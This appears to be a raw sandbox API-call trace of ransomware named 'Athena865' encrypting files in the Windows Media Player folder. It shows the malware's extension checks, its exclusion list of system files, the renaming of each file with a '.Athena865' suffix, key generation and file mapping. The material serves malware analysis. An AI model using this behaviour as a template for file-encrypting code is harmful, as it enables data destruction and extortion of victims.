lstrlenW (lpString="vbox") returned 4 [0047.573] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1 [0047.573] lstrlenW (lpString="vdi") returned 3 [0047.573] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1 [0047.573] lstrlenW (lpString="vhd") returned 3 [0047.573] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1 [0047.573] lstrlenW (lpString="vhdx") returned 4 [0047.573] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1 [0047.573] lstrlenW (lpString="avhd") returned 4 [0047.573] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1 [0047.573] lstrlenW (lpString="db") returned 2 [0047.573] lstrcmpiW (lpString1="xe", lpString2="db") returned 1 [0047.573] lstrlenW (lpString="db2") returned 3 [0047.573] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1 [0047.573] lstrlenW (lpString="db3") returned 3 [0047.573] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1 [0047.573] lstrlenW (lpString="dbf") returned 3 [0047.573] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1 [0047.573] lstrlenW (lpString="mdf") returned 3 [0047.573] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1 [0047.574] lstrlenW (lpString="mdb") returned 3 [0047.574] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1 [0047.574] lstrlenW (lpString="sql") returned 3 [0047.574] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1 [0047.574] lstrlenW (lpString="sqlite") returned 6 [0047.574] lstrcmpiW (lpString1="nc.exe", lpString2="sqlite") returned -1 [0047.574] lstrlenW (lpString="sqlite3") returned 7 [0047.574] lstrcmpiW (lpString1="enc.exe", lpString2="sqlite3") returned -1 [0047.574] lstrlenW (lpString="sqlitedb") returned 8 [0047.574] lstrcmpiW (lpString1="penc.exe", lpString2="sqlitedb") returned -1 [0047.574] lstrlenW (lpString="xml") returned 3 [0047.574] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1 [0047.574] lstrlenW (lpString="$er") returned 3 [0047.574] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1 [0047.574] lstrlenW (lpString="4dd") returned 3 [0047.574] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1 [0047.574] lstrlenW (lpString="4dl") returned 3 [0047.574] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1 [0047.574] lstrlenW (lpString="^^^") returned 3 [0047.574] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1 [0047.574] lstrlenW (lpString="abs") returned 3 [0047.574] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1 [0047.574] lstrlenW (lpString="abx") returned 3 [0047.574] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1 [0047.574] lstrlenW (lpString="accdb") returned 5 [0047.574] lstrcmpiW (lpString1="c.exe", lpString2="accdb") returned 1 [0047.574] lstrlenW (lpString="accdc") returned 5 [0047.574] lstrcmpiW (lpString1="c.exe", lpString2="accdc") returned 1 [0047.574] lstrlenW (lpString="accde") returned 5 [0047.574] lstrcmpiW (lpString1="c.exe", lpString2="accde") returned 1 [0047.574] lstrlenW (lpString="accdr") returned 5 [0047.574] lstrcmpiW (lpString1="c.exe", lpString2="accdr") returned 1 [0047.574] lstrlenW (lpString="accdt") returned 5 [0047.574] lstrcmpiW (lpString1="c.exe", lpString2="accdt") returned 1 [0047.574] lstrlenW (lpString="accdw") returned 5 [0047.575] lstrcmpiW (lpString1="c.exe", lpString2="accdw") returned 1 [0047.575] lstrlenW (lpString="accft") returned 5 [0047.575] lstrcmpiW (lpString1="c.exe", lpString2="accft") returned 1 [0047.575] lstrlenW (lpString="adb") returned 3 [0047.575] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0047.575] lstrlenW (lpString="adb") returned 3 [0047.575] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0047.575] lstrlenW (lpString="ade") returned 3 [0047.575] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1 [0047.575] lstrlenW (lpString="adf") returned 3 [0047.575] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1 [0047.575] lstrlenW (lpString="adn") returned 3 [0047.575] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1 [0047.575] lstrlenW (lpString="adp") returned 3 [0047.575] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1 [0047.575] lstrlenW (lpString="alf") returned 3 [0047.575] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1 [0047.575] lstrlenW (lpString="ask") returned 3 [0047.575] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1 [0047.575] lstrlenW (lpString="btr") returned 3 [0047.575] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1 [0047.575] lstrlenW (lpString="cat") returned 3 [0047.575] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1 [0047.575] lstrlenW (lpString="cdb") returned 3 [0047.575] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1 [0047.575] lstrlenW (lpString="ckp") returned 3 [0047.575] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1 [0047.575] lstrlenW (lpString="cma") returned 3 [0047.575] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1 [0047.575] lstrlenW (lpString="cpd") returned 3 [0047.575] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1 [0047.575] lstrlenW (lpString="dacpac") returned 6 [0047.575] lstrcmpiW (lpString1="nc.exe", lpString2="dacpac") returned 1 [0047.575] lstrlenW (lpString="dad") returned 3 [0047.575] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1 [0047.575] lstrlenW (lpString="dadiagrams") returned 10 [0047.576] lstrlenW (lpString="daschema") returned 8 [0047.576] lstrcmpiW (lpString1="penc.exe", lpString2="daschema") returned 1 [0047.576] lstrlenW (lpString="db-journal") returned 10 [0047.576] lstrlenW (lpString="db-shm") returned 6 [0047.576] lstrcmpiW (lpString1="nc.exe", lpString2="db-shm") returned 1 [0047.576] lstrlenW (lpString="db-wal") returned 6 [0047.576] lstrcmpiW (lpString1="nc.exe", lpString2="db-wal") returned 1 [0047.576] lstrlenW (lpString="dbc") returned 3 [0047.576] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1 [0047.576] lstrlenW (lpString="dbs") returned 3 [0047.576] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1 [0047.576] lstrlenW (lpString="dbt") returned 3 [0047.576] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1 [0047.576] lstrlenW (lpString="dbv") returned 3 [0047.576] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1 [0047.576] lstrlenW (lpString="dbx") returned 3 [0047.576] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1 [0047.576] lstrlenW (lpString="dcb") returned 3 [0047.576] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1 [0047.576] lstrcmpiW (lpString1="exe", lpString2="dct") returned 1 [0047.576] lstrcmpiW (lpString1="exe", lpString2="dcx") returned 1 [0047.576] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Windows Media Player\\wmpenc.exe.Athena865") returned 64 [0047.576] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Windows Media Player\\wmpenc.exe" (normalized: "c:\\program files (x86)\\windows media player\\wmpenc.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Media Player\\wmpenc.exe.Athena865" (normalized: "c:\\program files (x86)\\windows media player\\wmpenc.exe.athena865"), dwFlags=0x1) returned 1 [0047.577] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\wmpenc.exe.Athena865" (normalized: "c:\\program files (x86)\\windows media player\\wmpenc.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0047.577] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=24064) returned 1 [0047.577] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0047.577] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d4f8 [0047.577] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0047.577] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0047.578] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0047.578] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0047.578] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6100, lpName=0x0) returned 0x17c [0047.580] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6100) returned 0x100000 [0047.582] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0047.583] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0047.583] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0047.583] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0047.583] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0047.583] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528208 [0047.583] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0047.583] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528208 | out: hHeap=0x4f0000) returned 1 [0047.583] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0047.583] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52a400 [0047.583] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0047.583] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a400 | out: hHeap=0x4f0000) returned 1 [0047.583] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0047.583] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0047.584] CloseHandle (hObject=0x17c) returned 1 [0047.584] CloseHandle (hObject=0x154) returned 1 [0047.584] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d4f8 | out: hHeap=0x4f0000) returned 1 [0047.584] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0047.584] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0047.584] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3f3149e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3f3149e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3f3149e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x28400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wmplayer.exe", cAlternateFileName="")) returned 1 [0047.584] lstrcmpiW (lpString1="wmplayer.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0047.584] lstrcmpiW (lpString1="wmplayer.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0047.584] lstrcmpiW (lpString1="wmplayer.exe", lpString2=".") returned 1 [0047.584] lstrcmpiW (lpString1="wmplayer.exe", lpString2="..") returned 1 [0047.584] lstrcmpiW (lpString1="wmplayer.exe", lpString2="windows") returned 1 [0047.584] lstrcmpiW (lpString1="wmplayer.exe", lpString2="bootmgr") returned 1 [0047.584] lstrcmpiW (lpString1="wmplayer.exe", lpString2="temp") returned 1 [0047.584] lstrcmpiW (lpString1="wmplayer.exe", lpString2="pagefile.sys") returned 1 [0047.584] lstrcmpiW (lpString1="wmplayer.exe", lpString2="boot") returned 1 [0047.584] lstrcmpiW (lpString1="wmplayer.exe", lpString2="ids.txt") returned 1 [0047.584] lstrcmpiW (lpString1="wmplayer.exe", lpString2="ntuser.dat") returned 1 [0047.584] lstrcmpiW (lpString1="wmplayer.exe", lpString2="perflogs") returned 1 [0047.584] lstrcmpiW (lpString1="wmplayer.exe", lpString2="MSBuild") returned 1 [0047.584] lstrlenW (lpString="wmplayer.exe") returned 12 [0047.584] lstrcpyW (in: lpString1=0x241e8a0, lpString2="wmplayer.exe" | out: lpString1="wmplayer.exe") returned="wmplayer.exe" [0047.584] lstrlenW (lpString="wmplayer.exe") returned 12 [0047.585] lstrlenW (lpString="Athena865") returned 9 [0047.585] lstrcmpiW (lpString1="layer.exe", lpString2="Athena865") returned 1 [0047.585] lstrlenW (lpString=".dll") returned 4 [0047.585] lstrcmpiW (lpString1="wmplayer.exe", lpString2=".dll") returned 1 [0047.585] lstrlenW (lpString=".lnk") returned 4 [0047.585] lstrcmpiW (lpString1="wmplayer.exe", lpString2=".lnk") returned 1 [0047.585] lstrlenW (lpString=".ini") returned 4 [0047.585] lstrcmpiW (lpString1="wmplayer.exe", lpString2=".ini") returned 1 [0047.585] lstrlenW (lpString=".sys") returned 4 [0047.585] lstrcmpiW (lpString1="wmplayer.exe", lpString2=".sys") returned 1 [0047.585] lstrlenW (lpString="wmplayer.exe") returned 12 [0047.585] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Windows Media Player\\wmplayer.exe.Athena865") returned 66 [0047.585] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Windows Media Player\\wmplayer.exe" (normalized: "c:\\program files (x86)\\windows media player\\wmplayer.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Media Player\\wmplayer.exe.Athena865" (normalized: "c:\\program files (x86)\\windows media player\\wmplayer.exe.athena865"), dwFlags=0x1) returned 1 [0047.585] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\wmplayer.exe.Athena865" (normalized: "c:\\program files (x86)\\windows media player\\wmplayer.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0047.586] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=164864) returned 1 [0047.586] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0047.586] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d4f8 [0047.586] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0047.586] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0047.587] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0047.587] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0047.587] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x28700, lpName=0x0) returned 0x17c [0047.588] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x28700) returned 0x170000 [0047.596] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0047.597] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0047.597] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0047.597] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0047.597] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0047.597] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528208 [0047.597] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0047.597] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528208 | out: hHeap=0x4f0000) returned 1 [0047.597] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0047.597] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52a400 [0047.597] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0047.597] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a400 | out: hHeap=0x4f0000) returned 1 [0047.597] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0047.598] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0047.599] CloseHandle (hObject=0x17c) returned 1 [0047.599] CloseHandle (hObject=0x154) returned 1 [0047.599] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d4f8 | out: hHeap=0x4f0000) returned 1 [0047.599] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0047.599] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0047.600] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5749e95b, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x5749e95b, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xb19ea830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x20a00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WMPMediaSharing.dll", cAlternateFileName="")) returned 1 [0047.600] lstrcmpiW (lpString1="WMPMediaSharing.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0047.600] lstrcmpiW (lpString1="WMPMediaSharing.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0047.600] lstrcmpiW (lpString1="WMPMediaSharing.dll", lpString2=".") returned 1 [0047.600] lstrcmpiW (lpString1="WMPMediaSharing.dll", lpString2="..") returned 1 [0047.600] lstrcmpiW (lpString1="WMPMediaSharing.dll", lpString2="windows") returned 1 [0047.600] lstrcmpiW (lpString1="WMPMediaSharing.dll", lpString2="bootmgr") returned 1 [0047.600] lstrcmpiW (lpString1="WMPMediaSharing.dll", lpString2="temp") returned 1 [0047.600] lstrcmpiW (lpString1="WMPMediaSharing.dll", lpString2="pagefile.sys") returned 1 [0047.600] lstrcmpiW (lpString1="WMPMediaSharing.dll", lpString2="boot") returned 1 [0047.600] lstrcmpiW (lpString1="WMPMediaSharing.dll", lpString2="ids.txt") returned 1 [0047.600] lstrcmpiW (lpString1="WMPMediaSharing.dll", lpString2="ntuser.dat") returned 1 [0047.600] lstrcmpiW (lpString1="WMPMediaSharing.dll", lpString2="perflogs") returned 1 [0047.600] lstrcmpiW (lpString1="WMPMediaSharing.dll", lpString2="MSBuild") returned 1 [0047.601] lstrlenW (lpString="WMPMediaSharing.dll") returned 19 [0047.601] lstrcpyW (in: lpString1=0x241e8a0, lpString2="WMPMediaSharing.dll" | out: lpString1="WMPMediaSharing.dll") returned="WMPMediaSharing.dll" [0047.601] lstrlenW (lpString="WMPMediaSharing.dll") returned 19 [0047.601] lstrlenW (lpString="Athena865") returned 9 [0047.601] lstrcmpiW (lpString1="aring.dll", lpString2="Athena865") returned -1 [0047.601] lstrlenW (lpString=".dll") returned 4 [0047.601] lstrcmpiW (lpString1="WMPMediaSharing.dll", lpString2=".dll") returned 1 [0047.601] lstrlenW (lpString=".lnk") returned 4 [0047.601] lstrcmpiW (lpString1="WMPMediaSharing.dll", lpString2=".lnk") returned 1 [0047.601] lstrlenW (lpString=".ini") returned 4 [0047.601] lstrcmpiW (lpString1="WMPMediaSharing.dll", lpString2=".ini") returned 1 [0047.601] lstrlenW (lpString=".sys") returned 4 [0047.601] lstrcmpiW (lpString1="WMPMediaSharing.dll", lpString2=".sys") returned 1 [0047.601] lstrlenW (lpString="WMPMediaSharing.dll") returned 19 [0047.601] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Windows Media Player\\WMPMediaSharing.dll.Athena865") returned 73 [0047.601] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Windows Media Player\\WMPMediaSharing.dll" (normalized: "c:\\program files (x86)\\windows media player\\wmpmediasharing.dll"), lpNewFileName="C:\\Program Files (x86)\\Windows Media Player\\WMPMediaSharing.dll.Athena865" (normalized: "c:\\program files (x86)\\windows media player\\wmpmediasharing.dll.athena865"), dwFlags=0x1) returned 1 [0047.602] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\WMPMediaSharing.dll.Athena865" (normalized: "c:\\program files (x86)\\windows media player\\wmpmediasharing.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0047.602] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=133632) returned 1 [0047.602] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0047.602] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d4f8 [0047.602] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0047.602] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0047.603] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0047.603] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0047.603] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x20d00, lpName=0x0) returned 0x17c [0047.604] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x20d00) returned 0x170000 [0047.611] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0047.612] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0047.612] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0047.612] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0047.612] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0047.612] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528208 [0047.612] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0047.612] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528208 | out: hHeap=0x4f0000) returned 1 [0047.612] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0047.612] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52a400 [0047.612] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0047.613] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a400 | out: hHeap=0x4f0000) returned 1 [0047.613] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0047.613] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0047.615] CloseHandle (hObject=0x17c) returned 1 [0047.615] CloseHandle (hObject=0x154) returned 1 [0047.615] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d4f8 | out: hHeap=0x4f0000) returned 1 [0047.615] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0047.615] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0047.616] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59c0b4b2, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x59c0b4b2, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xb19ea830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x73400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wmpnssci.dll", cAlternateFileName="")) returned 1 [0047.616] lstrcmpiW (lpString1="wmpnssci.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0047.616] lstrcmpiW (lpString1="wmpnssci.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0047.616] lstrcmpiW (lpString1="wmpnssci.dll", lpString2=".") returned 1 [0047.616] lstrcmpiW (lpString1="wmpnssci.dll", lpString2="..") returned 1 [0047.616] lstrcmpiW (lpString1="wmpnssci.dll", lpString2="windows") returned 1 [0047.616] lstrcmpiW (lpString1="wmpnssci.dll", lpString2="bootmgr") returned 1 [0047.616] lstrcmpiW (lpString1="wmpnssci.dll", lpString2="temp") returned 1 [0047.616] lstrcmpiW (lpString1="wmpnssci.dll", lpString2="pagefile.sys") returned 1 [0047.616] lstrcmpiW (lpString1="wmpnssci.dll", lpString2="boot") returned 1 [0047.616] lstrcmpiW (lpString1="wmpnssci.dll", lpString2="ids.txt") returned 1 [0047.616] lstrcmpiW (lpString1="wmpnssci.dll", lpString2="ntuser.dat") returned 1 [0047.616] lstrcmpiW (lpString1="wmpnssci.dll", lpString2="perflogs") returned 1 [0047.616] lstrcmpiW (lpString1="wmpnssci.dll", lpString2="MSBuild") returned 1 [0047.616] lstrlenW (lpString="wmpnssci.dll") returned 12 [0047.616] lstrcpyW (in: lpString1=0x241e8a0, lpString2="wmpnssci.dll" | out: lpString1="wmpnssci.dll") returned="wmpnssci.dll" [0047.616] lstrlenW (lpString="wmpnssci.dll") returned 12 [0047.616] lstrlenW (lpString="Athena865") returned 9 [0047.616] lstrcmpiW (lpString1="nssci.dll", lpString2="Athena865") returned 1 [0047.616] lstrlenW (lpString=".dll") returned 4 [0047.616] lstrcmpiW (lpString1="wmpnssci.dll", lpString2=".dll") returned 1 [0047.616] lstrlenW (lpString=".lnk") returned 4 [0047.616] lstrcmpiW (lpString1="wmpnssci.dll", lpString2=".lnk") returned 1 [0047.616] lstrlenW (lpString=".ini") returned 4 [0047.616] lstrcmpiW (lpString1="wmpnssci.dll", lpString2=".ini") returned 1 [0047.616] lstrlenW (lpString=".sys") returned 4 [0047.616] lstrcmpiW (lpString1="wmpnssci.dll", lpString2=".sys") returned 1 [0047.617] lstrlenW (lpString="wmpnssci.dll") returned 12 [0047.617] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Windows Media Player\\wmpnssci.dll.Athena865") returned 66 [0047.617] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Windows Media Player\\wmpnssci.dll" (normalized: "c:\\program files (x86)\\windows media player\\wmpnssci.dll"), lpNewFileName="C:\\Program Files (x86)\\Windows Media Player\\wmpnssci.dll.Athena865" (normalized: "c:\\program files (x86)\\windows media player\\wmpnssci.dll.athena865"), dwFlags=0x1) returned 1 [0047.620] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\wmpnssci.dll.Athena865" (normalized: "c:\\program files (x86)\\windows media player\\wmpnssci.dll.athena865"), 